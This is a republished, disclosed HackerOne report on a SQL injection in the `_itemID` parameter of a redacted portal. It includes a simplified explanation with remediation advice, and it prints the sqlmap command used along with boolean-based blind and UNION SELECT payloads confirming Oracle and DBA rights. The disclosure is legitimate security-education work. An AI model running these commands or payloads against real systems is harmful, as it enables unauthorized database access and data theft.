Skip to content
SQL injection Disclosed report Beginner

SQL Injection vulnerability located at ████████

The report describes a SQL injection vulnerability in the `_itemID` parameter of a web portal, which allowed the tester to confirm the database type and retrieve the current database user. The current user was found to have DBA rights, potentially enabling further data retrieval and even remote code execution.

rootaccess Follow

Originally disclosed on HackerOne

  • Triaged in 20 hours
  • Fixed in 5 months
  • Disclosed after 13 months

Summary: I have found a SQL Injection at ███████ in the ████ Portal.

Description: The SQL injection is being caused by the unsanitized parameter of _itemID= i immediately stopped testing when i verified it was possible to get the Current user and version of the Database.

1.The vulnerable url is : https://█████/███Portal/█████?_██████=true&_st=&_pageLabel=█████████_███████_pubview_page&CCD_itemID=201826* 2. use sqlmap (https://github.com/sqlmapproject/sqlmap) with the following command

Python
python sqlmap.py -u "https://██████/████████Portal/██████████?_█████=true&_st=&_pageLabel=███_██████_pubview_page&CCD_itemID=201826*" --random-agent --current-user --is-dba

sqlmap output :

---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: https://███████:443/███████Portal/████?_███=true&_st=&_pageLabel=███_█████_pubview_page&CCD_itemID=201826 AND 2833=2833

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: https://██████████:443/████Portal/██████████?_███=true&_st=&_pageLabel=███_██████████_pubview_page&CCD_itemID=201826 UNION ALL SELECT NULL,CONCAT(CONCAT('qvzxq','ODiUngdWPubxHGXaEEDvfcozGjVAMxIqpHmWfTVJ'),'qbbxq') FROM VERSIONS-- AQYh
---
[22:37:56] [INFO] testing SAP MaxDB
[22:37:57] [WARNING] the back-end DBMS is not SAP MaxDB
[22:37:57] [INFO] testing MySQL
[22:37:58] [WARNING] the back-end DBMS is not MySQL
[22:37:58] [INFO] testing Oracle
[22:37:59] [INFO] confirming Oracle
[22:38:01] [INFO] the back-end DBMS is Oracle
web application technology: Apache, Servlet 2.5, JSP, JSP 2.1
back-end DBMS: Oracle
[22:38:01] [INFO] fetching current user
current user:    ██████████
[22:38:02] [INFO] testing if current user is DBA
current user is DBA:    True

##Screenshot

Suggested Mitigation/Remediation Actions

Sanitize the parameter of _itemID= through the use of prepared statements, or other forms of sanitizing.

Impact

It could be possible for an attacker to Retrieve data, and depending of the data being stored in the database(passwords) it could be possible to further pivot, and get RCE since the current user in the database has DBA rights.

The original report as published on HackerOne, by rootaccess. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application builds a SQL query by concatenating the unsanitised `_itemID` parameter directly into the statement, without using prepared statements or parameterised queries.

Impact

An attacker could retrieve data from the database and, because the current user has DBA rights, potentially escalate to remote code execution.

What the attacker needed

Access to the portal URL; none

The fix

The parameter should be sanitised by using prepared statements or other proper input handling.

How it was found

  1. Identify the vulnerable URL containing the `_itemID` parameter.
  2. Use sqlmap with the URL and options to test for SQL injection.
  3. Observe sqlmap output confirming boolean-based blind and UNION-based injection.
  4. Note that the back-end DBMS is Oracle and the current user is a DBA.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A SQL injection is a flaw where user input is inserted directly into a database query without proper handling. An attacker can trick the database into running unintended commands, such as revealing secret information. Here, the tester used a tool to confirm the database could be manipulated and that the account had high privileges.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.